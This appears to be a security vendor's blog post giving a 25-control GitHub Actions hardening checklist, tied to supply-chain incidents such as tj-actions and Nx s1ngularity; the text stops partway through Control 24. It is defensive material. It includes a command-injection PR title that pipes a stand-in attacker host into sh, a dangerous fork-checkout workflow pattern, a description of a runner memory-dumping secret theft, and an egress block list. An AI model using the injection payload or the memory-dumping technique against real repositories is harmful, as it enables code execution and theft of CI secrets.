main logo icon

Published on

May 26, 2026

|

32 min read

GitHub Actions Security Best Practices: 2026 Checklist (25 Controls)

GitHub Actions security best practices for 2026. Twenty-five hardening controls across five categories, each anchored on a verified CVE or public incident, from tj-actions and Nx s1ngularity through TanStack, Megalodon and the August 2026 ChainDrop worm.

Arafat Afzalzada

Arafat Afzalzada

Founder

Web App Security

Summarize with AI

ChatGPTPerplexityGeminiGrokClaude

TL;DR

GitHub Actions has become a top-five software supply-chain attack surface in 2025 and 2026. The 2026 wave moved one layer down, from the action a workflow calls to the npm dependency it installs and the publishing identity it holds: TanStack (CVE-2026-45321, CVSS 9.6, May 11, 2026), the Megalodon campaign that pushed 5,718 malicious commits into 5,561 repositories in six hours on May 18, 2026, the AsyncAPI pull_request_target compromise of July 14, 2026, and the ChainDrop worm of August 4, 2026 that reached at least 444 npm packages across 1,381 versions and reads GitHub Actions runner memory to dump the secret store. The tj-actions/changed-files compromise (CVE-2025-30066, March 2025) leaked secrets from over 23,000 repositories in a single 24-hour window by repointing every tag from v1 through v45.0.7 to one malicious commit. A second compromise of reviewdog/action-setup (CVE-2025-30154, also March 2025) sat upstream in the same supply-chain chain. The Nx s1ngularity attack (August 2025) leveraged a pull_request_target script-injection bug to mint an npm publish token and leaked 2,349 distinct secrets across 190+ organizations and 3,000+ repositories. The Shai-Hulud npm worm (September 2025, second wave November 2025) is the first publicly documented self-replicating npm worm: by November 24, 2025 it had backdoored 796 unique npm packages and registered victim hosts as rogue GitHub Actions self-hosted runners. By the time CISA published its September 23 2025 alert, thousands of credentials had already been exposed. Stingrai's 2026 GitHub Actions Security Checklist is a 25-control hardening guide structured into five categories: Action-Source Hardening, Workflow Security, Secret and Identity, Runner Security, and Branch and Repo Protection. Each control is anchored on a verified CVE or public incident, mapped to MITRE ATT&CK (T1195.002 Supply Chain Compromise, T1078 Valid Accounts, T1190 Exploit Public-Facing Application, T1059 Command and Scripting Interpreter, T1003 OS Credential Dumping), and paired with a one-line implementation. The full checklist sits inside a sprint-by-sprint roadmap so security teams can ship the highest-impact 12 controls in two sprints and the remaining 13 over the next quarter. Stat anchors: 28.65M new hardcoded secrets added to public GitHub commits in 2025 (+34% YoY, per GitGuardian); 1.275M leaked AI-service secrets in 2025 (+81% YoY); 454,600+ new malicious open-source packages identified in 2025 (Sonatype 2026 State of the Software Supply Chain Report); 99%+ of open-source malware lived on npm. Defender stack: GitHub native (pinning policy, CODEOWNERS, OIDC, environment reviewers, Dependabot), OpenSSF Scorecard, StepSecurity Harden-Runner egress detection (caught tj-actions in real time), Datadog CI Visibility, Sysdig + Trivy for image scanning, OSV / NVD / GHSA for vulnerability lookup. Cross-links: Supply Chain Attack Statistics 2026, Vulnerability Statistics 2026, Compromised Credential Statistics 2026.

The tj-actions/changed-files compromise (CVE-2025-30066, CVSS 8.6) leaked CI/CD secrets from more than 23,000 repositories in a single 24-hour window in March 2025. An attacker who held a compromised personal access token on the @tj-actions-bot account retroactively repointed every tag from v1 through v45.0.7 to a single malicious commit (0e58ed8671d6b60d0890c21b07f8835ace038e67). The malicious commit downloaded a Python memory-dumping payload from a public GitHub gist, walked /proc/[pid]/maps and /proc/[pid]/mem on the GitHub Actions Runner.Worker process, extracted CI/CD secrets matching the pattern "[^"]+":{"value":"[^"]*","isSecret":true}, base64-encoded them twice, and printed them to workflow logs. Every public repository that referenced the action by tag at the moment of the compromise leaked its workflow secrets to the world.

GitHub Actions is now a top-five software supply-chain attack surface. Sonatype's 2026 State of the Software Supply Chain Report identified more than 454,600 new malicious open-source packages in 2025, bringing the cumulative known-malware total to over 1.233 million packages across npm, PyPI, Maven Central, NuGet, and Hugging Face. Over 99% of open-source malware now lives on npm. GitGuardian's State of Secrets Sprawl 2026 counted 28.65 million new hardcoded secrets added to public GitHub commits in 2025, a 34% year-over-year increase and the largest single-year jump on record; 1.275 million of those were AI-service credentials, up 81% YoY. The attack surface is the GitHub Actions workflow, and the loot is the cleartext content of secrets.* references plus the GITHUB_TOKEN that the runner mints at job start.

This is Stingrai's 2026 GitHub Actions Security Checklist. The audience is platform engineers, AppSec leads, and CI/CD owners who need to ship hardened workflows this quarter. The post is a pentester's perspective on the controls that matter most. Every numeric claim links to its primary publisher (NVD, CISA, GitHub Security Advisories, OpenSSF, Sonatype, GitGuardian, official GitHub docs). Every checklist item is anchored on a verified CVE or public incident, mapped to MITRE ATT&CK, and paired with a one-line implementation note. The 25 controls cluster into five categories. The post covers each, then closes with a sprint-by-sprint implementation roadmap.

Chart Ghactions Checklist Categories

Figure 1: The five categories that organize the 25-control checklist. Each category neutralizes a distinct attack class observed in the named incidents below.

GitHub Actions security best practices: the eight that matter most in 2026

The eight highest-impact GitHub Actions security best practices for 2026 are SHA-pinning third-party actions, read-only default permissions, OIDC instead of long-lived cloud secrets, no pull_request_target in public repositories, env-binding for untrusted input, ephemeral and private-only self-hosted runners, runner egress monitoring, and code-owner review on workflow files. Every publicly documented GitHub Actions compromise between December 2024 and August 2026 ran through a gap that at least one of those eight closes.

  1. Pin every third-party action to a full commit SHA. A tag is a movable pointer. The tj-actions attacker moved v1 through v45.0.7 onto one malicious commit in a single day.

  2. Default every workflow to read-only permissions. Declare permissions: at the top of the workflow and widen it per job only where a job genuinely needs to write.

  3. Replace long-lived cloud secrets with OIDC. A short-lived token bound to a sub claim cannot be replayed out of a stolen credential store.

  4. Keep pull_request_target out of public repositories. The trigger hands upstream secrets to fork-controlled code. Ultralytics, Nx s1ngularity, TanStack and the July 2026 AsyncAPI compromise all rode it.

  5. Bind untrusted input to an env: variable before it reaches run:. Direct interpolation of a pull-request title or branch name into a shell is the most common script-injection path in the incident record.

  6. Keep self-hosted runners off public repositories and make them ephemeral everywhere else. A persistent runner accumulates every secret it ever sees.

  7. Monitor and allowlist runner egress. Egress detection is what caught tj-actions in real time, and it is still the control that sees a dependency-level worm reading runner memory.

  8. Require code-owner review on .github/workflows/ and enforce branch protection on the default branch. The May 2026 Megalodon campaign pushed malicious workflows straight into 5,561 repositories whose default branches did not require review.

Everything below is the long form: 25 controls in five categories, each anchored on a verified CVE or public incident and mapped to MITRE ATT&CK. Teams scoping this as an assessment rather than a backlog should read what a CI/CD pipeline penetration test covers, because build-chain scope and application scope are not the same test.

TL;DR: the 25 controls in one screen

Action-Source Hardening (6 controls)

  1. Pin every third-party action to a full commit SHA, not a tag. Stops tag-repointing attacks like tj-actions CVE-2025-30066.

  2. Allowlist GitHub Marketplace actions at the org level. Restricts the marketplace pool to Verified Creators and a named allowlist.

  3. Run OpenSSF Scorecard action on every repo. Surfaces unpinned dependencies, missing branch protection, and unsafe workflow patterns.

  4. Score every new third-party action before adoption. Combine Scorecard score, transitive-dependency count, and GitHub Verified Creator badge.

  5. Prefer first-party (actions/*) over tj-actions/* or other community actions for high-risk steps. Reduces the supply-chain blast radius.

  6. Use sigstore signature verification for any artifact pulled into a workflow. Provenance attestation closes the unsigned-binary gap.

Workflow Security (6 controls)

  1. Declare permissions: at the workflow and job level with read-only defaults. Stops a compromised step from minting a write-scope GITHUB_TOKEN.

  2. Never use pull_request_target in public repos. This trigger runs with secrets and write tokens in the upstream context, with code from a fork attacker.

  3. Quote and escape any expression interpolation of untrusted input. Never write ${{ github.event.pull_request.title }} directly into run:; bind to an env: variable first. Stops script injection.

  4. Reject untrusted writes to $GITHUB_ENV and $GITHUB_PATH. These propagate to later steps and to the runner's shell.

  5. Use actions/checkout with an explicit ref: argument when handling fork PRs. Defaults can pull attacker-controlled code into a privileged context.

  6. Extract workflow artifacts to /tmp, not the workspace. Workspace tarballs can leak .env and config files.

Secret and Identity (6 controls)

  1. Replace long-lived secrets with OIDC short-lived tokens for cloud deploys. Requires permissions: id-token: write. Stops static credential theft entirely for the AWS, Azure, GCP, and HashiCorp Vault providers.

  2. Scope secrets at the GitHub Environment level and require human approval for production environments. Stops a compromised PR step from minting a production token.

  3. Reference secrets through env: only, never as command-line arguments. Command-line args appear in another job's process table.

  4. Enable GitHub secret scanning + push protection. Stops most secrets from ever entering source on the way in.

  5. Re-register every derived secret manually. A JWT minted from a private key is a new secret; GitHub's redaction does not transit derivations.

  6. Audit Settings → Secrets and variables → Actions quarterly and rotate any unused or stale secret. GitGuardian's 2026 report found 64% of 2022-valid secrets are still exploitable today.

Runner Security (4 controls)

  1. Do not use self-hosted runners on public repos. A fork-PR contributor can compromise a persistent self-hosted runner and steal every secret it ever sees.

  2. Use ephemeral self-hosted runners (just-in-time runners) when self-hosted is unavoidable. Each job gets a fresh runner that auto-deletes; survival of a payload across jobs is no longer possible.

  3. Install StepSecurity Harden-Runner on every workflow. Egress allowlisting caught the tj-actions compromise in real time.

  4. Restrict runner network egress to a documented allowlist. Block gist.githubusercontent.com, raw paste sites, and unknown C2 domains by default.

Branch and Repo Protection (3 controls)

  1. Add .github/workflows/ to CODEOWNERS and require code-owner review for any workflow change. Stops workflow tampering through normal PRs.

  2. Require signed commits + branch protection + required reviews on main. Closes the unsigned-fast-forward attack class.

  3. Disable "Actions can approve pull requests" at the org level + enable Dependabot version updates + security updates on every repo. Stops the auto-merge bypass and shrinks the time-to-patch window.

The rest of this post unpacks each category with the attack it prevents, the verified CVE that anchors it, and the precise implementation.

Why GitHub Actions is the supply-chain attack surface of 2025 and 2026

Developers burned 11.5 billion GitHub Actions minutes running tests in 2025, a 35% year-over-year increase, according to GitHub's Octoverse 2025, and a workflow is structurally a remote-code-execution surface authenticated by short-lived tokens and long-lived secrets. Five protocol-level design choices make this surface uniquely attractive to a supply-chain attacker:

  1. Pull-based execution against attacker-controlled refs. The runner pulls action source from a remote repository on every job. If a marketplace action is repointed (tj-actions) or compromised at source (reviewdog), every consumer's next workflow run executes the malicious code.

  2. The marketplace pull model trusts tags. uses: tj-actions/changed-files@v44 resolves at job-start time. A tag is a movable pointer; the attacker who controls the upstream repo controls what v44 resolves to.

  3. Default-permissive GITHUB_TOKEN. Until GitHub flipped the default to read-only for new repos in 2023, the GITHUB_TOKEN started write-scoped. Older repos and many orgs still default to permissive.

  4. Secrets in environment variables that runners process. The runner injects secrets.* into the workflow shell. Any step that runs malicious code can read them; the StepSecurity write-up of tj-actions documented exactly this exfiltration path.

  5. pull_request_target and workflow_run triggers run privileged with fork code. These triggers exist for legitimate reasons (writing comments back to PRs, running CI on community contributions), but they bridge the trust boundary between fork and upstream in ways that almost every real-world incident has exploited.

The result is a CI/CD attack chain that looks like this:

Chart Ghactions Attack Chain

Figure 2: A typical GitHub Actions supply-chain attack chain. A compromised marketplace action or a pull_request_target trigger gives the attacker code execution inside a privileged runner. The runner has access to GITHUB_TOKEN and to every secret the workflow references. The attacker prints the secrets to logs, exfiltrates them via DNS or HTTPS to an attacker-controlled endpoint, and pivots to npm or PyPI publication using the stolen credentials.

Category 1: Action-Source Hardening (6 controls)

The single highest-impact control on the entire list is pinning third-party actions to full commit SHAs. Every other control in this category supports that one.

Control 1: Pin every third-party action to a full commit SHA, not a tag

Attack it prevents: Tag-repointing attacks. Anchor incident: tj-actions/changed-files CVE-2025-30066, March 14 to 15, 2025. ATT&CK: T1195.002 Supply Chain Compromise: Compromise Software Supply Chain.

The tj-actions compromise was a textbook tag-repointing attack. The attacker held a compromised PAT on @tj-actions-bot, moved every tag from v1 through v45.0.7 to a single malicious commit, and waited. Every workflow that resolved uses: tj-actions/changed-files@v45 at job-start time pulled the attacker's code. The window was 24 hours. Over 23,000 repositories were affected. CISA added the CVE to the Known Exploited Vulnerabilities Catalog.

The fix is to pin every third-party action by SHA, not by tag:

Codejavascript
1# Vulnerable: tag is movable
2- uses: tj-actions/changed-files@v44
3
4# Hardened: SHA is immutable
5- uses: tj-actions/changed-files@4cd184a1dd542b79cca7d3e9a9d6c1bd1a47a3a4 # v44.5.5

GitHub's official guidance calls SHA pinning the only immutable release-method available. Pair the SHA with a comment recording the tag and version for human readability; renovate-bot, Dependabot, and the pin-github-action CLI keep these comments in sync.

Control 2: Allowlist GitHub Marketplace actions at the org level

Attack it prevents: Drift to unvetted third-party actions. ATT&CK: T1195.002.

GitHub provides org- and repo-level policy controls under Settings → Actions → General. The "Allow actions and reusable workflows" radio supports four options: all actions, only actions created by GitHub, only actions and reusable workflows in your enterprise, or a custom allowlist. Pick the most restrictive policy your engineering culture tolerates. For a regulated workload, the right answer is "GitHub-created + named allowlist." For a startup, an allowlist of Verified Creators is the practical floor.

Codesql
1Allow actions and reusable workflows: Select non-GitHub, and select:
2  ☑ Allow actions created by GitHub
3  ☑ Allow actions by Marketplace verified creators
4  ☑ Allow specified actions and reusable workflows:
5    actions/*,
6    docker/*,
7    aws-actions/*,
8    azure/login@*,
9    google-github-actions/*,
10    step-security/*,
11    ossf/scorecard-action@*

Combine the policy with Control 1 (SHA pinning) at repo level. The org policy decides which actions are allowed; the pin decides which version of the allowed action runs.

Control 3: Run OpenSSF Scorecard action on every repo

Attack it prevents: Drift in security posture. Anchor reference: OpenSSF Scorecard.

The OpenSSF Scorecard GitHub Action runs eighteen automated checks against a repository and posts results to GitHub code scanning. The most relevant checks for CI/CD hardening:

  • Token-Permissions: flags workflows missing top-level permissions: blocks.

  • Pinned-Dependencies: flags actions and Docker images pinned by tag rather than SHA.

  • Dangerous-Workflow: flags pull_request_target plus untrusted-input patterns.

  • Branch-Protection: flags repos missing branch protection on the default branch.

  • CI-Tests: flags repos without merge-time CI gates.

Scorecard requires id-token: write on the action's job so it can publish results to OpenSSF; the official setup guide covers the YAML.

Control 4: Score every new third-party action before adoption

Attack it prevents: Adoption of low-quality or under-maintained actions. Anchor reference: Sonatype's 2026 report on 454,600+ new malicious open-source packages in 2025.

Stingrai's heuristic for vetting a candidate third-party action:

Signal

Hardened threshold

GitHub Verified Creator badge

Required for any external action used in a privileged workflow.

OpenSSF Scorecard score

≥7/10 on the action's repository.

Stars and recent commits

Stars 500+, latest commit within 90 days, latest release within 180 days.

Transitive dependencies

Count under 10. Composite actions that pull in dozens of nested actions inflate the supply-chain surface.

Open security advisories

Zero open, unpatched advisories on the GitHub Security tab.

Maintainer count

At least two active maintainers. Single-maintainer actions are at higher risk of takeover.

Issue tracker behaviour

Maintainers respond to security issues within a week.

Apply this checklist before merging any PR that introduces a new uses: reference.

Control 5: Prefer first-party actions/* over community actions for high-risk steps

Attack it prevents: Single-maintainer supply-chain takeover.

GitHub publishes a first-party action library covering checkout, setup-node, setup-python, upload-artifact, download-artifact, cache, and more. For high-risk steps (checkout, secret-reading, deployment), prefer actions/* over community equivalents. Cloud providers (aws-actions/configure-aws-credentials, azure/login, google-github-actions/auth) are the next-best tier; they sit inside the cloud vendor's published action library and benefit from the vendor's own security review.

Community actions belong in lower-risk steps (linting, formatting, code coverage upload) and only with the SHA pin from Control 1.

Control 6: Use sigstore signature verification for artifacts pulled into workflows

Attack it prevents: Unsigned-binary supply-chain attacks. Anchor reference: SLSA framework and sigstore.

Sigstore is the OpenSSF-hosted signature service for open-source artifacts. The model:

  • A maintainer signs a release artifact with a short-lived keypair, anchored by an OIDC identity (GitHub Actions workflow identity, or a personal Google / Microsoft / GitHub login).

  • The signature is logged to the Rekor transparency log.

  • A downstream consumer verifies the artifact against the signature and the Rekor record before installing.

For a GitHub Actions workflow that pulls a Docker image, a tarball, or a CLI binary, run cosign verify against the artifact before executing it. For npm packages, npm's provenance attestation (released 2023) sits on top of sigstore and exposes npm install --provenance for verification.

Category 2: Workflow Security (6 controls)

This category prevents the workflow itself from becoming the attack surface. Three of these controls trace directly to the Nx s1ngularity attack of August 26, 2025, where an unsanitized pull-request title plus pull_request_target permissions allowed an attacker to mint the Nx npm publishing token in a four-hour window.

Control 7: Declare permissions: at the workflow and job level with read-only defaults

Attack it prevents: GITHUB_TOKEN write-scope abuse. ATT&CK: T1078 Valid Accounts.

The GITHUB_TOKEN that GitHub Actions mints at job start has a default scope that depends on the repository's setting under Settings → Actions → General → Workflow permissions. New repos created after 2023 default to read-only. Legacy repos default to write. Every workflow should declare its permissions explicitly, regardless of the repo default:

Codejavascript
1name: Build and test
2on: [push, pull_request]
3
4permissions:
5  contents: read  # default for the whole workflow
6
7jobs:
8  build:
9    runs-on: ubuntu-latest
10    steps: [...]
11
12  release:
13    runs-on: ubuntu-latest
14    permissions:
15      contents: write   # narrowly scoped to the release job
16      packages: write
17    steps: [...]

The pattern: top-level permissions: block sets a read-only default; jobs that need more (release, deploy, comment-on-PR) opt in to specific scopes. GitHub's permissions reference lists all scopes.

Control 8: Never use pull_request_target in public repos

Attack it prevents: Privileged execution of fork-attacker code. Anchor incidents: Ultralytics PyPI attack (December 4 to 7, 2024) and Nx s1ngularity (August 26, 2025). ATT&CK: T1190 Exploit Public-Facing Application.

pull_request_target is the most-abused trigger in the GitHub Actions threat model. The trigger runs in the upstream repo's context with access to upstream secrets and GITHUB_TOKEN, but is triggered by a pull request from a fork. The fork author controls the PR's title, body, branch name, and committed code. Any of those can be weaponized.

The Ultralytics attack used pull_request_target plus a malicious branch name. The branch contained shell metacharacters; the workflow interpolated the branch name into a run: step; the runner executed file.sh from an attacker-controlled URL. Versions 8.3.41, 8.3.42, 8.3.45, and 8.3.46 of the ultralytics PyPI package shipped to PyPI with an XMRig cryptocurrency miner payload.

The Nx s1ngularity attack used pull_request_target plus a malicious pull-request title that contained command-injection metacharacters. The runner executed the attacker's payload, harvested the Nx npm publishing token, and within four hours had published malicious versions of Nx and several plugins. Across the affected window, attackers leaked 2,349 distinct secrets across more than 190 organizations and over 3,000 repositories.

The rule is simple: do not use pull_request_target in public repos. If you need to comment back to a PR from a workflow, gate the comment behind contents: read, pull-requests: write on pull_request (not pull_request_target) and accept that the comment runs in the fork's context without access to upstream secrets. Trade off automation for safety.

Control 9: Quote and escape any expression interpolation of untrusted input

Attack it prevents: Script injection. Anchor incidents: Ultralytics and Nx s1ngularity. ATT&CK: T1059 Command and Scripting Interpreter.

Every workflow that uses ${{ github.event.* }} in a run: block has a script-injection risk surface. The classic anti-pattern:

Codejavascript
1# Vulnerable: PR title is interpolated into the shell
2- run: echo "PR title is ${{ github.event.pull_request.title }}"

The fork attacker sets the PR title to "; curl evil.example.com | sh; # and gets shell execution. The fix is the GitHub-recommended intermediate environment variable:

Codebash
1# Hardened: bind to env, then quote the variable
2- run: echo "PR title is $TITLE"
3  env:
4    TITLE: ${{ github.event.pull_request.title }}

The env: binding moves the interpolation outside the shell's parser, so the shell sees a plain variable expansion. Quote the variable in the shell command ("$TITLE", not $TITLE) to defend against word splitting. This single pattern would have stopped both the Ultralytics and Nx s1ngularity script-injection paths.

The high-risk context fields to grep for: github.event.pull_request.title, github.event.pull_request.body, github.event.issue.title, github.event.issue.body, github.event.comment.body, github.head_ref (branch name on a PR), github.event.workflow_run.head_branch, anything under inputs: from workflow_dispatch. Any of these can carry attacker-controlled input.

Control 10: Reject untrusted writes to $GITHUB_ENV and $GITHUB_PATH

Attack it prevents: Persistent step-to-step injection.

$GITHUB_ENV and $GITHUB_PATH are GitHub-Actions-provided files that propagate environment variables and PATH entries to all subsequent steps in the same job. A step that writes attacker-controlled input to either file effectively executes that input in every later step of the job.

Codebash
1# Vulnerable: untrusted input lands in env and persists to the next step
2- run: echo "TOOL_NAME=${{ github.event.inputs.tool }}" >> $GITHUB_ENV
3
4# Hardened: validate against allowlist
5- run: |
6    case "$INPUT" in
7      "trivy"|"semgrep"|"osv-scanner") echo "TOOL_NAME=$INPUT" >> "$GITHUB_ENV" ;;
8      *) echo "Invalid tool"; exit 1 ;;
9    esac
10  env:
11    INPUT: ${{ github.event.inputs.tool }}

The same pattern applies to $GITHUB_PATH. Never append attacker-controlled paths to $GITHUB_PATH; do it from a hardcoded list.

Control 11: Use actions/checkout with an explicit ref: when handling fork PRs

Attack it prevents: Implicit checkout of fork-attacker code in a privileged context.

The default behavior of actions/checkout on a pull_request trigger is to check out the merge commit between the PR and the base branch. The default behavior on a pull_request_target trigger is to check out the base branch (not the PR). If a workflow that runs on pull_request_target explicitly changes the ref to github.event.pull_request.head.sha, the workflow ends up executing PR code with upstream secrets:

Codejavascript
1# DANGEROUS pattern
2on: pull_request_target
3jobs:
4  test:
5    steps:
6      - uses: actions/checkout@v4
7        with:
8          ref: ${{ github.event.pull_request.head.sha }}
9      - run: npm install   # executes attacker's package.json scripts

If you must run integration tests against fork PR code with privileged tokens, do it from a separate, manually-triggered workflow that requires a human approval (an Environment with a Required reviewer). Otherwise, run on pull_request and accept the loss of secret access.

Control 12: Extract workflow artifacts to /tmp, not the workspace

Attack it prevents: Artifact upload that leaks .env and config files.

actions/upload-artifact packages the runner's workspace directory. If a workflow downloads attacker-controlled content into the workspace (a fork PR's repo, an arbitrary tarball), the next upload-artifact step bundles it together with any sibling .env, secrets.yaml, or terraform.tfstate that happens to be there. Extract third-party tarballs into /tmp or an explicit runner.temp path and limit upload-artifact to a known-safe subdirectory.

Codejavascript
1- run: mkdir -p /tmp/extracted
2- run: tar -xzf ./untrusted.tgz -C /tmp/extracted
3- uses: actions/upload-artifact@v4
4  with:
5    name: build-output
6    path: ./dist  # never the whole workspace

Category 3: Secret and Identity (6 controls)

This category is where the tj-actions and Shai-Hulud blast radius lives. The single most impactful control is moving cloud deploys to OIDC.

Control 13: Replace long-lived secrets with OIDC short-lived tokens for cloud deploys

Attack it prevents: Static-credential theft. Anchor reference: GitHub OIDC docs. ATT&CK: T1078 Valid Accounts.

OIDC eliminates the long-lived cloud credential. The model: GitHub mints a short-lived JWT signed by GitHub's OIDC provider; the cloud provider (AWS, Azure, GCP, HashiCorp Vault) validates the token against a trust policy that pins the GitHub org, repo, branch, and environment; the cloud provider returns a short-lived access token for the job's duration.

Codejavascript
1permissions:
2  id-token: write   # required for OIDC
3  contents: read
4
5jobs:
6  deploy:
7    runs-on: ubuntu-latest
8    environment: production   # trust policy pinned to this environment
9    steps:
10      - uses: aws-actions/configure-aws-credentials@v4
11        with:
12          role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsDeploy
13          aws-region: us-east-1
14      - run: aws s3 sync ./dist s3://prod-bucket/

On the cloud side, the trust policy gates token issuance on a sub claim like repo:stingrai/api:environment:production:ref:refs/heads/main. A compromised PR build cannot mint a production token because the trust policy rejects the PR's sub claim. The full pattern is documented for AWS, Azure, and GCP.

Stingrai's recommendation: any deploy that today uses an AWS_ACCESS_KEY_ID long-lived secret should migrate to OIDC this quarter. Same for Azure service-principal client secrets and GCP service-account JSON keys.

Control 14: Scope secrets at the GitHub Environment level + require human approval for production

Attack it prevents: Cross-workflow secret leakage. Anchor reference: GitHub environments documentation.

GitHub Environments are per-environment scopes that hold their own secrets, variables, and protection rules. An environment can require a named reviewer to approve a workflow run before any step that references the environment executes. The pattern:

  • production environment: holds prod deploy credentials. Required reviewers: 2 named platform engineers. Wait timer: 0 minutes. Deployment branches: main only.

  • staging environment: holds staging deploy credentials. Required reviewers: 1. Branches: main and release/*.

  • pull-request environment: holds limited test credentials. No required reviewer. Branches: any.

The prod environment's secrets are inaccessible to any workflow that doesn't declare environment: production, and that workflow waits at the reviewer gate until a human approves. A compromised PR build cannot exfiltrate prod secrets even if the attacker controls the workflow YAML, because the reviewer gate fires before any prod step runs.

Control 15: Reference secrets through env: only, never as command-line arguments

Attack it prevents: Secrets in process-table snapshots.

GitHub's redaction strips registered secrets from logs but not from process tables. A step that runs curl --header "Authorization: Bearer ${{ secrets.API_TOKEN }}" puts the cleartext token in the runner's process listing, which a sibling step (including a malicious composite action) can read via ps. The fix:

Codejavascript
1# Bad
2- run: curl --header "Authorization: Bearer ${{ secrets.API_TOKEN }}" https://api.example.com/
3
4# Good
5- run: curl --header "Authorization: Bearer $API_TOKEN" https://api.example.com/
6  env:
7    API_TOKEN: ${{ secrets.API_TOKEN }}

This control combines with Control 7 (read-only permissions:) to bound exactly what a compromised step can see.

Control 16: Enable GitHub secret scanning + push protection

Attack it prevents: Secrets committed to source. Anchor reference: GitGuardian State of Secrets Sprawl 2026.

GitHub secret scanning detects more than 200 secret patterns committed to a repo and alerts the maintainer. Push protection sits one step further upstream: it blocks the git push if a secret pattern is detected in the changed files. Push protection is GitHub Advanced Security for private repos and free for public repos.

GitGuardian's 2026 report found 28.65 million secrets entered public GitHub commits in 2025, a 34% YoY jump. Push protection is the only intervention that stops most of those at the boundary. 32.2% of internal repos contain at least one hardcoded secret, vs 5.6% of public repos; the gap reflects the visibility that GitHub-side scanning gives public repos.

Control 17: Re-register every derived secret manually

Attack it prevents: Log-redaction bypass on transformed secrets.

GitHub redacts registered secrets from logs. If a workflow takes a private key from secrets.PRIVATE_KEY and signs a JWT with it, the JWT is not in GitHub's redaction list. The JWT is a new secret. If the workflow prints the JWT (intentionally or via an error), GitHub does not redact it.

The fix is to explicitly register the derived secret using add-mask:::

Codebash
1- run: |
2    JWT=$(generate-jwt --private-key "$PRIVATE_KEY")
3    echo "::add-mask::$JWT"
4    echo "JWT=$JWT" >> "$GITHUB_ENV"
5  env:
6    PRIVATE_KEY: ${{ secrets.PRIVATE_KEY }}

Apply this pattern to: base64-encoded secrets, URL-encoded secrets, JWTs derived from secrets, OAuth access tokens minted from refresh tokens, any AWS STS token returned from sts:AssumeRole. The OWASP guidance and the GitHub security hardening docs both call this out.

Control 18: Audit Settings → Secrets and variables → Actions quarterly + rotate

Attack it prevents: Stale-credential persistence. Anchor reference: GitGuardian's 2025 finding that 64% of 2022-valid secrets are still exploitable in 2026.

Secrets accumulate. The platform engineer who needed a Heroku API token in 2022 is no longer with the company. The Heroku app is decommissioned. The token is still in Settings → Secrets. If anyone ever pulls that secret into a workflow (or if a compromised marketplace action enumerates secrets via the API), the token still works.

A quarterly audit walks the secrets list, asks "is this still needed?" for each entry, and rotates the secret regardless of need. The Shai-Hulud worm succeeded in part because npm tokens left over from the Nx s1ngularity breach were never rotated. Rotation is cheap; persistence is expensive.

Category 4: Runner Security (4 controls)

The runner is the trust boundary. The default GitHub-hosted runner is ephemeral and reset between jobs; self-hosted runners are persistent by default and inherit every secret of every job they ever ran.

Control 19: Do not use self-hosted runners on public repos

Attack it prevents: Persistent runner takeover via fork PR. Anchor reference: GitHub's official guidance.

GitHub's docs are explicit: "Self-hosted runners should almost never be used for public repositories." The reason: anyone with fork-PR access can submit malicious code that runs on the self-hosted runner. Once the runner is compromised, the attacker has persistent access to whatever the runner sees: the GITHUB_TOKEN of every later job, any secret a later job references, any network the runner can reach.

If your team must run self-hosted (for special hardware, regulated environments, internal-network access), restrict self-hosted to private repos only. Use GitHub-hosted runners for any repo that accepts fork PRs.

Control 20: Use ephemeral self-hosted runners (just-in-time runners) when self-hosted is unavoidable

Attack it prevents: Cross-job persistence on self-hosted runners. Anchor reference: GitHub JIT runners + actions-runner-controller.

A just-in-time (JIT) runner is provisioned, runs one job, and is destroyed. The runner-controller pattern (Kubernetes-based) or AWS / Azure / GCP autoscaling group can implement JIT runners with a 30 to 60 second provisioning time. Cost is roughly comparable to GitHub-hosted runners for a busy workflow because the runner only exists for the job's duration.

The Shai-Hulud worm specifically registered victim hosts as rogue GitHub Actions self-hosted runners named "SHA1HULUD"; JIT runners would have invalidated that persistence model.

Control 21: Install StepSecurity Harden-Runner on every workflow

Attack it prevents: Unexpected runner egress. Anchor incident: StepSecurity caught tj-actions in real time.

StepSecurity Harden-Runner is an open-source GitHub Action that runs as the first step of a workflow and turns the runner into an audited sandbox. Three observable behaviors:

  • Egress monitoring: records every outbound network connection the runner makes, with destination domain and process name.

  • File integrity monitoring: records every write to /etc, /usr/bin, and other persistent paths.

  • Tamper protection: disables the runner's ability to modify the runner binary itself.

In the tj-actions incident, Harden-Runner detected the anomalous egress to gist.githubusercontent.com on March 14, 2025 around 5:00 PM UTC, which is how the security community had a name for the incident inside hours rather than days. The Harden-Runner setup:

Codejavascript
1- uses: step-security/harden-runner@v2
2  with:
3    egress-policy: audit   # start in audit mode, then upgrade to block
4    allowed-endpoints: >
5      github.com:443
6      api.github.com:443
7      registry.npmjs.org:443

Stingrai recommends egress-policy: audit in week one, then egress-policy: block plus a curated allowlist by week three.

Control 22: Restrict runner network egress to a documented allowlist

Attack it prevents: C2 callback and secret exfiltration.

This is the policy expression of Control 21. Once Harden-Runner's audit logs show the workflow's real egress pattern, codify the pattern as an allowlist and switch to block mode. Typical hardened allowlist for a Node.js build job:

Codejavascript
1github.com:443
2api.github.com:443
3codeload.github.com:443
4objects.githubusercontent.com:443
5registry.npmjs.org:443
6registry.yarnpkg.com:443
7nodejs.org:443
8auth.docker.io:443
9production.cloudflare.docker.com:443

Block lists should include gist.githubusercontent.com (the tj-actions exfiltration domain), generic raw-paste hosts (pastebin.com, paste.ee), and any IP-literal HTTPS endpoint. Most legitimate workflows use a small, predictable set of domains; any unexpected egress is a high-confidence anomaly signal.

Category 5: Branch and Repo Protection (3 controls)

The final category sits at the repo's governance layer. These controls are cheap and have outsized effect.

Control 23: Add .github/workflows/ to CODEOWNERS

Attack it prevents: Workflow tampering through normal PRs. ATT&CK: T1195.002.

A CODEOWNERS entry for .github/workflows/* requires the listed reviewers (typically the platform or security team) to approve any change to a workflow file. Combined with branch protection that requires CODEOWNERS review, this stops a compromised contributor or a malicious PR from quietly weakening a workflow's permissions block, adding a curl-pipe-to-sh step, or removing a Harden-Runner step.

Codejavascript
1# CODEOWNERS
2/.github/workflows/  @stingrai/platform @stingrai/security

Control 24: Require signed commits + branch protection + required reviews on main

Attack it prevents: Unsigned-fast-forward attacks and unreviewed merges. Anchor reference: GitHub branch protection docs.

The canonical hardened branch-protection profile for main:

  • Require pull request before merging: yes

  • Required number of approving reviews: at least 1 (2 for regulated workloads)

  • Dismiss stale approvals when new commits are pushed: yes

  • Require review from Code Owners: yes

  • Require status checks to pass before merging: yes (CI, Scorecard, Harden-Runner audit)

  • Require branches to be up to date before merging: yes

  • Require signed commits: yes

